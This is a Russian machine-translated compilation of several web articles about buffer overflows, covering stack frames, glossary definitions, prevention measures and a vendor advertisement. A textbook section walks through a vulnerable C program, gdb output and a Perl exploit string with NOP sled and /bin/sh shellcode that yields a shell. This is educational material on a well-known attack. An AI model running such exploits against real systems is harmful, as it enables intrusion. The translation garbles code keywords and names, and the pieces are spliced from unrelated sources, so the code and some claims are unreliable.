Набор вещей, которые функция имеет в стеке - ее локальные переменные, ее разлитые регистры и любые аргументы, которые она готовит передать другой функции - называется «кадром стека». Поскольку данные в кадре стека используются очень широко, полезно иметь способ быстро ссылаться на них.
Указатель стека может это сделать , но это несколько неудобно: указатель стека всегда указывает на вершину стека, и поэтому он перемещается по мере того, как что-то толкается и выталкивается.Например, переменная может начинаться с адреса esp + 4
. В стек могут быть помещены еще два значения, что означает, что теперь переменная должна быть доступна по адресу esp + 12
. Затем одно из этих значений может быть удалено, поэтому переменная теперь находится на esp + 8
.
Это не непреодолимая трудность, и компиляторы легко справятся с этой задачей. Тем не менее, использование указателя стека для доступа к чему-либо, кроме «вершины стека», может затруднить, особенно для ассемблера, написанного вручную.
Чтобы упростить задачу, обычно поддерживают второй указатель, который последовательно хранит адрес нижнего (начало) каждого кадра стека - значение, известное как указатель кадра , - а на x86 есть даже регистр, который обычно используется для хранения этого значения, ebp
. Поскольку это никогда не изменяется внутри данной функции, это обеспечивает последовательный способ доступа к переменным функции: значение ebp - 4
останется на уровне ebp - 4
для всей функции.Это полезно не только для людей; это также упрощает отладчикам понимание того, что происходит.
Увеличить / Этот снимок экрана из Visual Studio показывает некоторые из этих действий в действии для простой программы x86. На процессорах x86 регистр с именем esp
содержит адрес верхнего стека, в данном случае 0x0019fee0
, выделенный синим цветом (на x86 стек фактически растет вниз, к адресу памяти 0
, но он по-прежнему называется все равно наверху стека).Эта функция имеет только одну переменную стека, , имя
, выделенную розовым цветом. Это 32-байтовый буфер фиксированного размера. Поскольку это единственная переменная, ее адрес также 0x0019fee0
, такой же, как вершина стека.
x86 также имеет регистр ebp
, выделенный красным, который (обычно) предназначен для хранения местоположения указателя кадра. Указатель кадра помещается сразу после переменных стека. Сразу после указателя кадра находится адрес возврата, выделенный зеленым цветом.Адрес возврата ссылается на фрагмент кода с адресом 0x00401048
. Эта инструкция идет сразу же после команды call
, что поясняет способ использования адреса возврата для возобновления выполнения с того места, где вызывающая функция остановилась.
Увеличить /
К сожалению, gets ()
- действительно глупая функция. Если мы просто удерживаем A на клавиатуре, он не остановится, как только заполнится буфер name
. Он просто продолжит записывать данные в память, перезаписывая указатель кадра, адрес возврата и все остальное, что может.
name
на скриншоте выше - это тип буфера, который регулярно переполняется. Его размер составляет ровно 64 символа. В этом случае он заполнен кучей чисел и заканчивается конечным нулем. Как должно быть ясно из приведенного выше рисунка, если в буфер name
записано более 64 байтов, то другие значения в стеке будут повреждены. Если записаны четыре дополнительных байта, указатель кадра будет уничтожен. Если записываются восемь дополнительных байтов, то и указатель кадра, и адрес возврата перезаписываются.
Очевидно, что это приведет к повреждению данных программы, но проблема буферных потоков более серьезна: они часто приводят к выполнению кода. Это происходит потому, что эти переполненные буферы не просто перезаписывают данные. Они также могут перезаписать другую важную вещь, хранящуюся в стеке, - эти адреса возврата. Адрес возврата контролирует, какие инструкции будет выполнять процессор после завершения текущей функции; это должно быть какое-то место внутри вызывающей функции, но если оно будет перезаписано при переполнении буфера, оно может указывать куда угодно.Если злоумышленники могут контролировать переполнение буфера, они могут контролировать адрес возврата; если они могут управлять адресом возврата, они могут выбрать, какой код будет выполняться процессором следующим.
У процесса, вероятно, не будет какой-нибудь красивой и удобной функции «взломать машину», которую сможет запустить злоумышленник, но это не имеет особого значения. Тот же буфер, который использовался для перезаписи адреса возврата, также можно использовать для хранения короткого фрагмента исполняемого кода, называемого шеллкодом, который, в свою очередь, загрузит вредоносный исполняемый файл, или откроет сетевое соединение, или сделает все, что захочет злоумышленник. .
Традиционно это было тривиально из-за особенности, которая может показаться немного удивительной: как правило, каждая программа будет использовать одни и те же адреса памяти каждый раз, когда вы ее запускаете, даже если вы перезагружаетесь между ними. Это означает, что расположение буфера в стеке будет каждый раз одним и тем же, и поэтому значение, используемое для перезаписи адреса возврата, может каждый раз быть одним и тем же. Злоумышленнику нужно было только один раз выяснить, что это за адрес, и атака сработает на любом компьютере , на котором запущен некорректный код.
Переполнение буфера - Malwarebytes Labs | Лаборатория Malwarebytes
Краткая биография
Переполнение буфера - это тип уязвимости программного обеспечения, которая существует, когда область памяти в программном приложении достигает границы своего адреса и записывается в соседнюю область памяти. В программном коде эксплойта две общие области, которые являются объектами переполнения, - это стек и куча.
История
Переполнение буфера относится к 1970-м годам. Однако только в конце 1980-х годов произошел первый задокументированный случай использования переполнения буфера, когда служба «finger» UNIX использовалась с переполнением стека для дальнейшего распространения червя Морриса.
Сегодня переполнение буфера все еще происходит в программных приложениях, и возможность их использования может зависеть от нескольких различных факторов, включая используемые компиляторы и / или параметры компилятора, а также функции безопасности операционной системы.
Обычный способ заражения
В простейшем сценарии с использованием стека переполнение перезаписывает данные в стеке, чтобы включить указатель возврата, указывающий на адрес, по которому будет выполняться код злоумышленника.
Переполнение наблюдается в эксплойтах, нацеленных на веб-приложения, и доставляется в Интернет в основном с помощью наборов эксплойтов.
Однако эксплойты переполнения также могут быть доставлены другими способами, не требующими какого-либо взаимодействия с пользователем, включая отправку искаженных данных в порт прослушивания в серверном приложении предприятия.
Ассоциированные семьи
Распространенные типы перелива:
- Переполнение стека
- Переполнение кучи
- Целочисленное переполнение
Восстановление
Поставщики приложений с потенциальными уязвимостями переполнения буфера в своем программном обеспечении обычно выпускают исправления в качестве средства защиты.
Однако в некоторых случаях поставщик не знает об уязвимости переполнения, затрагивающей их программное обеспечение.К сожалению, во многих случаях, когда это происходит, поставщик узнает о переполнении только после того, как он был использован авторами вредоносных программ и киберпреступниками. По этой причине всегда важно использовать программное обеспечение от проверенных поставщиков вместе с программным обеспечением для защиты от эксплойтов.
Когда уязвимость переполнения задокументирована, но нет исправления от поставщика программного обеспечения, лучше всего отключить или удалить программное обеспечение до тех пор, пока уязвимость переполнения не будет исправлена с помощью исправления от поставщика.
Последствия
В большинстве случаев переполнение буфера вызывает нарушение доступа к памяти, вызывая сбой приложения, в котором произошло переполнение.
Успешное использование переполнения злоумышленником может привести к выполнению произвольного кода, что может привести к установке вредоносного ПО. Если установлено вредоносное ПО, его необходимо удалить с помощью антивирусной или антивирусной программы.
Избегание
Использование разработчиками приложений методов безопасного программирования может значительно снизить вероятность эксплуатируемых переполнений в программных приложениях.Однако это не гарантирует, что приложение по-прежнему не будет уязвимо.
Использование программного обеспечения для защиты от эксплойтов - хорошая идея при попытке защититься от недокументированных уязвимостей (уязвимостей нулевого дня).
Примеры
В исходном коде…
int main ()
{
двойной x [1048576]; // переменная стека слишком велика!
возврат 0;
}
В CVE…
CVE-2015-5118
CVE-2014-0099
Скриншоты
переполнение буфера - Глоссарий | CSRC
переполнение буфера - Глоссарий | CSRC
Вы просматриваете эту страницу в неавторизованном окне фрейма.
Это потенциальная проблема безопасности, вас перенаправляют на https://csrc.nist.gov.
Официальные сайты используют домен .gov
Веб-сайт .gov принадлежит официальной правительственной организации США.
Безопасные веб-сайты .gov используют HTTPS
Блокировка () или https: // означает, что вы безопасно подключились к веб-сайту .gov.Делитесь конфиденциальной информацией только на официальных безопасных веб-сайтах.
Поиск
Сортировать по
Соответствие (наилучшее соответствие) Срок (A-Z) Срок (Z-A)
Пункты на странице
100200500Все
Исправьте следующее:
Поиск
Сброс настроек
- Глоссарий
А
|
B
|
C
|
D
|
E
|
F
|
грамм
|
ЧАС
|
я
|
J
|
K
|
L
|
M
|
N
|
О
|
п
|
Q
|
р
|
S
|
Т
|
U
|
V
|
W
|
Икс
|
Y
|
Z
переполнение буфера
Аббревиатуры и синонимы:
BOF
показать источники
скрыть источники
определение (я):
Состояние интерфейса, при котором в буфер или область хранения данных может быть помещено больше входных данных, чем выделенная емкость, перезапись другой информации.Злоумышленники используют такое условие для сбоя системы или для вставки специально созданного кода, который позволяет им получить контроль над системой.
Источник (и):
NIST SP 800-82 Ред. 2
под переполнением буфера
из
НИСТ СП 800-28
Состояние интерфейса, при котором в буфер или область хранения данных может быть помещено больше входных данных, чем выделенная емкость, перезапись другой информации.Злоумышленники используют такое условие для сбоя системы или для вставки специально созданного кода, который позволяет им получить контроль над системой.
Источник (и):
CNSSI 4009-2015
из
NIST SP 800-28, CNSSI 1011
NIST SP 800-28 Версия 2
под переполнением буфера
Переполнение буфера - обзор
Переполнение стека
Переполнение буфера обычно классифицируется в соответствии с областью памяти, в которой происходит переполнение.Переполнение стека - это переполнение буфера, которое происходит в памяти стека. Прежде чем мы рассмотрим, как происходит переполнение стека и как оно может быть использовано, давайте посмотрим, для чего используется стек и как он организован.
Note
«Разбить стек ради удовольствия и прибыли» от Aleph One - одно из лучших представлений о переполнении буфера. Если чтение этого раздела вызывает у вас интерес по этому вопросу, я настоятельно рекомендую вам ознакомиться с статьей Aleph One для получения дополнительной информации.
Стек - это абстрактная структура данных в информатике, которая используется для хранения данных. В случае стека последний добавленный элемент является первым удаляемым элементом, называемым «последним вошел, первым ушел» (LIFO). Это можно представить в виде стопки бумаг: последний элемент, помещенный в стопку, будет первым, снятым с нее. Процесс добавления чего-либо в стек называется помещением его в стек , а процесс удаления элемента из стека называется выталкиванием его.
Область стека памяти служит для различных целей, таких как передача аргументов функциям, хранение локальных переменных и отслеживание того, куда должно вернуться выполнение, когда текущая функция завершит выполнение. Компоновка стека для разных архитектур неодинакова, поэтому мы сосредоточимся на 32-битной архитектуре Intel (x86), потому что она очень популярна.
Каждый раз, когда вызывается функция, на вершине стека создается новый фрейм стека для этой функции.Этот кадр стека содержит аргументы, переданные этой функции, адрес, на который выполнение должно вернуться после завершения функции (адрес возврата ), и любые локальные переменные для функции. Причина, по которой необходимо отслеживать адрес возврата, заключается в том, что любая заданная функция может быть вызвана из нескольких разных мест, и когда эта функция завершает выполнение, центральный процессор (ЦП) должен знать, что выполнять дальше. . Кадр стека функции может также содержать сохраненную копию базового указателя предыдущего кадра стека , который используется для ссылки на локальные переменные функции.Когда функция завершает выполнение, кадр стека по существу удаляется из стека, а адрес возврата загружается в регистр указателя инструкций , так что код, который первоначально вызвал функцию, мог возобновить выполнение.
В листинге кода 8.4 переполнение стека существует в func () , потому что оно не проверяет, достаточно ли велико name [] , прежде чем копировать в него str . Если в качестве аргумента программе предоставляется имя длиной менее 256 байт, программа выполняется нормально.Однако, если указано имя, содержащее более 256 байтов, программа вылетает из строя (см. Листинг 8.5). Листинг кода
8.4
Переполнение стека VulnStack.c
void func (char * str)
{
char name [256];
strcpy (наименование, улица);
printf ("Привет,% s \ n", имя);
}
int main (int argc, char ** argv)
{
if (argc & lt; 2) {
printf (& quot; Usage \ n & quot;, argv [0]);
возврат -1;
}
func (argv [l]);
возврат 0;
}
Давайте запустим программу в отладчике, чтобы точно узнать, почему она дает сбой.Вывод отладчика показан в листинге 8.6. Листинг кода
8.6
Выходные данные запуска VulnStack в отладчике
[защита электронной почты]: / tmp / hackthestack & gt; gdb VulnStack
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB - бесплатное программное обеспечение, на которое распространяется Стандартная общественная лицензия GNU, и вы можете изменять его и / или распространять его копии при определенных условиях. условия.
Тип "показать копирование" чтобы увидеть условия.
На GDB нет никаких гарантий. Введите & quot; показать гарантию & quot; для подробностей.
Этот GDB был настроен как "i586-suse-linux" … Использование хост-библиотеки libthread_db & quot; /lib/tls/libthread_db.so.1" ;.
(gdb) run
AAAA… (300 A's)… AAA
Запуск программы: / tmp / hackthestack / VulnStack
AAAA. . . (300 А). . . AAA
Здравствуйте, AAAA… (300 A)… AAA
Программа получила сигнал SIGSEGV, ошибка сегментации.
0x41414141 дюйм ?? ()
(gdb) print $ eip
$ I = (void *) 0x41414141
В архитектуре x86 стек увеличивается по направлению к адресу памяти 0 , что означает, что адрес возврата находится на адрес выше, чем у локальной переменной name [] . Когда str копируется в name [] , части стека за пределами name [] перезаписываются буквами «А». На рис. 8.8 слева показана структура стека функции func () и справа - стек функции func () после того, как произошло переполнение.Обратите внимание, что адрес возврата был перезаписан на AAAA (0x41414141 в шестнадцатеричном формате), поэтому, когда выполнение func () было завершено, программа попыталась выполнить код по адресу 0x41414141. Это можно увидеть, когда мы распечатываем значение регистра указателя инструкций (EIP), которое дает значение 0x41414141. Это недопустимый адрес памяти, который вызвал ошибку сегментации.
Рисунок 8.8. Стек VulnStack после переполнения
Представьте, что вы собираетесь создать строку, содержащую в начале необработанный машинный код, за которым следует адрес переполненного буфера.При переполнении адрес возврата будет перезаписан адресом переполненного буфера. Когда func () завершит выполнение, программа извлечет созданный адрес возврата из стека и загрузит его в указатель инструкции, и будет выполнен код, который мы предоставили в буфере (см. Рис. 8.9).
Рисунок 8.9. Стек VulnStack после переполнения со строкой эксплойта
Создание таких строк эксплойтов может быть непростым делом. Один из этапов, который может быть особенно трудным, - это определение правильного значения, которым следует перезаписать адрес возврата.В нашем примере нам нужно перезаписать адрес возврата на адрес name [] . Чтобы найти адрес name [] , мы можем вызвать переполнение в отладчике и проанализировать стек, чтобы найти начало строки, которую мы предоставили. Листинг 8.7 показывает, что строка переполнения начинается с адреса 0xbfffef30; однако это значение может варьироваться в зависимости от длины строки эксплойта.
Листинг кодов 8.7
Дамп стека в gdb
(gdb) x / 50x $ esp-300 | |||||||
0xbfffefl4: | 0x40137bd0 | 0x40137bd0 | 0x405 | 0xbfffef30 | 0x40016d68 | 0x00000001 | 0x41414141 |
0xbfffef34: | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffef44: | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffef54: | 0x41414141 0x41414141 | 0x41414141 0x41414141 | |||||
0xbfffef64: | 0x41414141 0x41414141 | 0x41414141 0x41414141 | |||||
0xbfffef74: | 0x41414141 905 52 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffef84: | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffef94: | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffefa4 : | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffefb4: | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffefc4: | 0x41414141 | 0x41414141 | 0x41414141 | 0x41414141 | |||
0xbfffefd4: | 0x41414141 | 0x41414141 | |||||
(gdb) |
В качестве альтернативы, мы можем написать общий код C ss для стека, а затем мы можем попытаться угадать правильный адрес, попробовав различные смещения от этого адреса.(См. «Разбивание стека ради развлечения и прибыли» для получения дополнительной информации об этой технике.)
Трудно определить точный адрес начала name []. Если это 1 байт, предоставленный код не будет выполняться должным образом. Один из способов исправить это - разместить перед кодом салазок без операции (прыжка) . Инструкция nop на x86, по сути, говорит процессору ничего не делать; поэтому, если мы помещаем длинную последовательность инструкций nop перед кодом, все, что нам нужно сделать, это угадать адрес возврата, который попадает в этот диапазон инструкций nop.Когда функция возвращается, серия инструкций nop выполняется до тех пор, пока не будет достигнут исходный код.
Пока что строка эксплойта состоит из nop-следа, некоторого необработанного машинного кода и адреса name [] . Однако, если мы не сделаем строку идеальной длины, адрес name [] не перезапишет адрес возврата, и наш внедренный код не будет выполнен. Вместо определения точной длины строки, мы можем постоянно повторять адрес name [] в конце строки, что позволяет нам перезаписать адрес возврата, не зная его точного смещения от начала переполненного буфера.
В листинге 8.8 показан сценарий Perl, который создает строку эксплойта, которая будет использоваться для переполнения буфера name [] . Строка эксплойта состоит из nop-следа, кода, предоставленного злоумышленником, и значения, которым нужно перезаписать адрес возврата. Этот эксплойт слишком упрощен и не может быть гибким в реальном мире; однако он демонстрирует общий метод, используемый для создания буферов эксплойтов. Листинг кода
8.8
Эксплойт для VulnStack
# Наша строка эксплойта будет выглядеть так [NNNNNCCCAAAAA] | ||
#, где N = NOP sled, C = необработанный машинный код и | ||
#. | ||
# Ноп-салазки длиной 200 байт. Для буферов большего размера | ||
# это может быть еще больше. | ||
мой $ nopsled = & quot; \ x90 & quot; х 200; | ||
# Необработанный машинный код для внедрения. Этот код просто запускает | ||
# "/ bin / sh". | ||
мой код $ = | ||
& quot; \ x99 & quot ;. | # cltd | |
"\ x31 \ xc0". | # xor | % eax,% eax |
"\ x52" | # push | % edx |
"\ x68 \ x6e \ x2f \ x73 \ x68" | # push | $ 0x68732f6e |
& quot; \ x68 \ x2f \ x2f \ x62 \ x69 & quot ;. | # push | $ 0x69622f2f |
& quot; \ x89 \ xe3 & quot ;. | # mov | % esp,% ebx |
"\ x52" | # push | % edx |
"\ x53". | # push | % ebx |
"\ x89 \ xel". | # mov | % esp,% ecx |
& quot; \ xb0 \ x0b & quot ;. | # mov | $ 0xb,% al |
& quot; \ xcd \ x80 & quot ;; | # int | $ 0x80 |
# Замените адрес возврата адресом name [], | ||
# который в данном случае является значением 0xbfffef30. Обратите внимание, что | ||
# байты записываются в обратном порядке, потому что x86 использует | ||
# что-то, называемое "little endian" байтовый формат, где младший байт | ||
# сохраняется первым в памяти. | ||
# Повторяем этот адрес 50 раз. | ||
мой $ returnAddress = & quot; \ x30 \ xef \ xff \ xbf & quot; х 50; | ||
# Создайте строку эксплойта, объединив nop sled, | ||
# code и строки адреса возврата | ||
my $ exploitString = & quot; $ nopsled & quot;. & Quot; $ code & quot; & quot; $ returnAddress. & Quot; $ returnAddress. ;; | ||
# распечатать строку эксплойта | ||
print $ exploitString; |
Подсказка
Хотя код эксплойта традиционно писался на таких языках, как C, большинство согласится с тем, что использование языка сценариев, такого как Perl или Python, является гораздо более гибким вариантом.Языки сценариев обеспечивают большую переносимость и используются в большинстве сред эксплуатации.
Передача строки эксплойта уязвимой программе VulnStack приводит к выполнению кода, предоставленного злоумышленником, который в данном случае запускает / bin / sh. Успешная эксплуатация показана в листинге 8.9. Листинг кода
8.9
Эксплуатация уязвимости VulnStack с помощью Exploit.pl
[защита электронной почты] localhost: / tmp / hackthestack & gt; ./ VulnStack 'perl exploit.pl' Привет, 1Ôø? Hn / shh // biÔø? SÔø? Ôø?
sh- 2.05b $
В действительности использование переполнения стека может быть намного сложнее. Однако этот пример иллюстрирует основное представление о том, как выполнение кода, предоставленного злоумышленником, может быть результатом уязвимости, связанной с переполнением буфера.
Что такое переполнение буфера? | Атака переполнения буфера
Что такое переполнение буфера?
Программы, составляющие все приложения, состоят из буферов.Буферы - это временные пространства, которые выделяются в памяти для хранения данных, пока они не будут перемещены в другие части программы. Байты данных, которые может содержать буфер, будут указаны изначально во время разработки кода. Из-за отсутствия каких-либо механизмов проверки границ, если размер введенного ввода превышает размер, выделенный для этого буфера, он переполняется, тем самым перезаписывая данные, хранящиеся в соседних буферах или в самой программе. Это называется переполнением буфера, и эта уязвимость становится легкой мишенью для злоумышленников, которые ищут эксплойт.
Почему переполнение буфера является уязвимостью?
Избыточные данные, передаваемые программе во время эксплойта переполнения буфера, могут даже быть вредоносным фрагментом кода, предназначенным для получения полного контроля над ОС, повреждения файлов или кражи данных, что делает эту уязвимость имеющей серьезные последствия. Даже если злоумышленники не могут получить доступ ко всей операционной системе, они вполне могут остановить запуск программ или, что еще хуже, вызвать отказ в обслуживании.
Среди различных типов существующих уязвимостей уязвимости, связанные с переполнением буфера, являются одними из первых, которые можно использовать.Несмотря на то, что в современные языки программирования встроены различные методы уклонения от таких атак, тенденции в области безопасности показывают, что за последние 5 лет наблюдается внезапный всплеск числа таких уязвимостей. Это указывает на очевидный факт, что по мере того, как приложения усиливают безопасность за счет уменьшения содержащихся в них уязвимостей, злоумышленники в ответ предлагают новые методы для выполнения эксплойтов. Следовательно, как предприятие вы не можете просто полагаться на своих поставщиков, которые предоставят вам безопасное и безупречное программное обеспечение, важно, чтобы у вас в первую очередь было установлено надлежащее решение для оценки уязвимостей и управления.Vulnerability Manager Plus выполняет комплексную работу в этом направлении, не только выявляя такие уязвимости, но и эффективно предоставляя вам средства, необходимые для их устранения или смягчения.
Какие бывают типы переполнения буфера?
Переполнение буфера на основе стека:
Стек - это пространство в памяти, которое используется для хранения пользовательского ввода. Атаки переполнения буфера на основе стека - это атаки, которые происходят из-за использования этих пространств памяти. Большинство атак основаны на стеке.Фактически, первый в истории эксплойт переполнения буфера, произошедший в 1986 году, также принадлежал к этому типу. Атака-червь Морриса, «обычно считающаяся первой крупной атакой в сети Интернет, является свидетельством того, какое влияние эти атаки могут оказать на мир ИТ.
Переполнение буфера на основе кучи:
Эти эксплойты очень трудно реализовать и, следовательно, встречаются реже по сравнению с эксплойтами переполнения буфера на основе стека. Пространство памяти, сохраненное для реальной программы, считается кучей и подвергается атаке с помощью эксплойта на основе кучи.
Примеры переполнения буфера:
Давайте рассмотрим несколько простых сценариев использования такой уязвимости.
- Рассмотрим программу, написанную для предоставления пользователю доступа к системе. Пользователя попросят ввести пароль, и если пароль правильный, ему будет предоставлен доступ к системе. Теперь предположим, что пользователь вводит фиктивный пароль большей длины, чем может содержать буфер. В этом сценарии происходит переполнение буфера.Даже если пароль введен неверно, программа все равно предоставит пользователю доступ к системе, поскольку смежная память, которая содержит условие проверки пароля, будет перезаписана избыточными данными, указанными во время ввода пароля.
- Такие атаки также могут быть выполнены с целью изменения обратного адреса. Эти эксплойты могут использоваться для повреждения памяти и отклонения нормального потока выполнения программы. Это может быть достигнуто путем перезаписи области памяти, содержащей адрес возврата, избыточными данными, используемыми для выполнения переполнения буфера.Таким образом, злоумышленник может контролировать выполнение кода, включая произвольный код во вновь добавленный адрес возврата.
- Переполнение входных данных данными, значительно превышающими выделенное буферное пространство, также может вызвать сбой системы и может использоваться для облегчения DDOS-атак.
Как предотвратить атаки переполнения буфера?
Теперь, когда выяснена серьезность таких атак, давайте разберемся, как их предотвратить. Vulnerability Manager Plus можно использовать в качестве упреждающего инструмента в таких сценариях, поскольку они содержат множество способов решения одной и той же проблемы.
Рандомизация разметки адресного пространства (ASLR).
Несмотря на то, что переполнение буфера обычно происходит в старых языках программирования, таких как C и C ++, из-за отсутствия проверки границ, более продвинутые языки все же могут стать жертвой таких эксплойтов. Они по-прежнему возникают из-за того, что злоумышленникам легко угадать положение процессов и функций в памяти. ASLR может решить эту проблему путем рандомизации адресных пространств, которые могут быть потенциальными целями для таких атак.При попытке эксплойта переполнения буфера будет вызвано неверное расположение адресного пространства из-за отсутствия у злоумышленников информации о рандомизации. Это приведет к сбою целевого приложения, что приведет к остановке атаки и предупреждению системы. ASLR обычно автоматически включается во всех последних версиях Windows, однако существуют исключения. Это могут быть исключения, но они обязательно обойдутся вашему предприятию в изрядную сумму. Но пусть это вас не беспокоит, Vulnerability Manager Plus поможет вам.Используя этот уникальный инструмент сканирования и управления уязвимостями, вы получите 100% -ную видимость таких неправильных конфигураций безопасности, а также дополнительные параметры для немедленного включения ASLR.
Предотвращение выполнения данных (DEP).
Предотвращение выполнения данных предотвращает выполнение определенных секторов памяти. Используя DEP, человек, пишущий код, может решить не выполнять стек или даже другие ненужные части программы. Это означает, что злоумышленник не сможет использовать атаку переполнения буфера для добавления произвольного кода в стек и ожидать его успешного выполнения.Как и ASLR, DEP также автоматически включается во всех последних версиях Windows. Но с множеством настроек, которыми может управлять администратор, шансов, что он будет случайно отключен, очень много. Vulnerability Manager Plus отлично справляется с задачей, немедленно выявляя, сообщая и устраняя такие неполадки.
Защита от перезаписи структурированного обработчика исключений (SEHOP).
Структурированная обработка исключений (SEH) - это механизм обработки исключений, используемый для обработки ошибок и исключений, возникающих во время нормального выполнения кода приложения.Этим обработчиком исключений можно манипулировать и перезаписывать путем переполнения буфера, поскольку они обычно присутствуют в стеке, что вызывает эксплойты SEH и принудительное завершение работы приложений. Защита от перезаписи при структурированной обработке исключений (SEHOP) предназначена для блокировки эксплойтов, использующих технику перезаписи обработчика структурированных исключений (SEH). Vulnerability Manager Plus выполняет надежную работу по сканированию всех конечных точек вашего предприятия, чтобы убедиться, что SEHOP включен, а значит, защищает вас от множества таких эксплойтов.
Уязвимости, связанные с переполнением буфера исправлений.
Если такая уязвимость проникла в вашу сеть, несмотря на все ваши усилия по управлению, Vulnerability Manager Plus будет вам спиной. Вы можете получить полную информацию обо всех уязвимостях, существующих в вашей сети, а также подробную информацию о том, что вызвало уязвимость. Это комплексное решение для оценки уязвимостей и управления ими делает еще один шаг вперед, не только выявляя уязвимости, такие как переполнение буфера, но и представляя способы их устранения в виде исправлений.Вы можете без особых усилий мгновенно развернуть исправления для всех обнаруженных уязвимостей прямо из консоли Vulnerability Manager Plus.
Какими бы опасными ни были эти эксплойты переполнения буфера, их можно легко предотвратить с помощью решения для сканирования уязвимостей и исправления. Торопиться! Загрузите Vulnerability Manager Plus прямо сейчас и изучите его различные функции бесплатно в течение 30-дневного пробного периода!
Как обнаруживать, предотвращать и смягчать атаки переполнения буфера
Что такое переполнение буфера? Почему это опасно? Узнайте, как обнаруживать и предотвращать уязвимости, связанные с переполнением буфера, защищаться от атак и снижать риски.
С момента зарождения индустрии информационной безопасности, переполнение буфера нашло способ оставаться достойным внимания новостей. В конце 80-х годов прошлого века переполнение буфера в программе fingerd для UNIX позволило Роберту Т. Моррису за два дня создать червя, заразившего 10% Интернета. Это событие впервые в истории вывело кибербезопасность на передний план в заголовках новостей компьютерных наук.
Спустя почти три десятилетия, в 2014 году, общественности была раскрыта уязвимость, связанная с переполнением буфера в криптографической библиотеке OpenSSL.Этот недостаток получил название «Heartbleed». Он подверг сотни миллионов пользователей популярных онлайн-сервисов и программных платформ уязвимой версии программного обеспечения OpenSSL.
Чтобы воспрепятствовать следующему червю Heartbleed или Morris Worm, сначала необходимо знать, что такое переполнение буфера и как его обнаружить. Затем важно понять процесс и последствия, связанные с успешной эксплуатацией переполнения. Только после того, как они будут созданы, можно будет разработать план предотвращения и смягчения последствий переполнения буфера.
Что такое переполнение буфера?
Прежде чем искать переполнение буфера в коде, давайте в первую очередь рассмотрим, что это такое. Как следует из названия, уязвимости переполнения буфера связаны с буферами или выделением памяти на языках, которые предлагают прямой низкоуровневый доступ к памяти для чтения и записи.
В случае таких языков, как C и Assembly, чтение или запись в одно из этих распределений не влечет за собой автоматическую проверку границ. Другими словами, нет проверки того, что количество байтов, которые должны быть записаны или прочитаны, действительно умещается в рассматриваемом буфере.Таким образом, программа может «переполнить» емкость буфера. Это приводит к тому, что данные записываются за пределы своего конца и перезаписывают содержимое последующих адресов в стеке или куче, или же считываются дополнительные данные. Фактически, именно последнее и произошло в случае с ошибкой Heartbleed.
Как определить переполнение буфера
Имея в виду это определение, мы можем изучить, как обнаружить эти недостатки. При работе с исходным кодом краткий ответ на переполнение буфера - это просто обратить особое внимание на то, где буферы используются, модифицируются и доступны.Особо следует отметить функции, имеющие дело с вводом, предоставленным пользователем или другим внешним источником, поскольку они предоставят самый простой вектор для эксплуатации переполнения. Например, когда пользователю задают вопрос «да» или «нет», кажется возможным сохранить введенную пользователем строку в небольшом буфере, достаточном только для строки «да», как показано в следующем примере:
Глядя на код, становится ясно, что проверка границ не выполняется. Если пользователь вводит «может быть», тогда программа, скорее всего, выйдет из строя, вместо того, чтобы запрашивать у пользователя правильный ответ и повторно запрашивать вопрос.Ответ пользователя просто записывается в буфер независимо от его длины.
В этом примере, поскольку user_answer - единственная объявленная переменная, следующие значения в стеке будут значением адреса возврата или местом в памяти, в которое программа вернется после выполнения функции askQuestion. Это означает, что если пользователь вводит четыре байта данных (достаточно, чтобы заполнить память, специально выделенную для буфера), за которыми следует действительный адрес в памяти, адрес возврата программы будет изменен.Это позволяет пользователю вынудить программу выйти из функции в другой точке кода, чем предполагалось изначально, что потенциально может привести к опасному и непредусмотренному поведению программы.
Если первым шагом для обнаружения переполнения буфера в исходном коде является понимание того, как они работают, а вторым шагом является знание того, что нужно искать внешний ввод и манипуляции с буфером, то третий шаг - узнать, какие функции подвержены этой уязвимости и могут действовать. как красные флажки для его присутствия.Как показано выше, функция gets прекрасно справляется с записью за пределы предоставленного ей буфера. Фактически, это качество распространяется на все семейство связанных функций (включая strcopy, strcat и printf / sprint). Везде, где используется одна из этих функций, существует вероятность переполнения буфера.
Как предотвратить переполнение буфера
Возможность обнаружения уязвимостей переполнения буфера в исходном коде, безусловно, ценна. Однако для их устранения из кодовой базы требуется последовательное обнаружение, а также знание безопасных методов обработки буферов.Самый простой способ предотвратить эти уязвимости - просто использовать язык, который их не поддерживает. C допускает эти уязвимости за счет прямого доступа к памяти и отсутствия строгой типизации объектов. Языки, которые не разделяют эти аспекты, обычно неуязвимы. Java, Python и .NET, помимо других языков и платформ, не требуют специальных проверок или изменений для уменьшения уязвимостей переполнения.
Полностью поменять язык разработки, конечно, не всегда возможно.В этом случае используйте безопасные методы работы с буферами. В случае функций обработки строк было много дискуссий о том, какие методы доступны, какие из них безопасны в использовании, а каких следует избегать. Функции strcopy и strcat копируют строку в буфер и добавляют содержимое одного буфера в другой соответственно. Эти два демонстрируют небезопасное поведение, так как не проверяют какие-либо границы целевого буфера и будут записывать за пределы буфера, если для этого будет предоставлено достаточно байтов.
Одной из часто предлагаемых альтернатив им являются связанные с ними strn-версии. Эти версии записывают только максимальный размер целевого буфера. На первый взгляд это звучит как идеальное решение. К сожалению, с этими функциями есть небольшой нюанс, который все же может вызвать проблемы. При достижении предела буфера, если завершающий символ не помещается в последний байт буфера, при последующем чтении буфера могут возникнуть серьезные проблемы:
В этом упрощенном примере мы видим опасность строк, не оканчивающихся нулем.Когда «foo» помещается в normal_buffer, он завершается нулем, потому что в буфере есть дополнительное пространство. С full_buffer дело обстоит иначе. Когда это будет выполнено, результаты будут выглядеть так:
Значение в normal_buffer напечатано правильно, но full_buffer напечатал дополнительный символ. Это в некотором роде лучший сценарий. Если бы следующие байты в стеке были другим символьным буфером или другой печатаемой строкой, функция печати продолжила бы чтение до тех пор, пока не будет достигнут конечный символ этой строки.
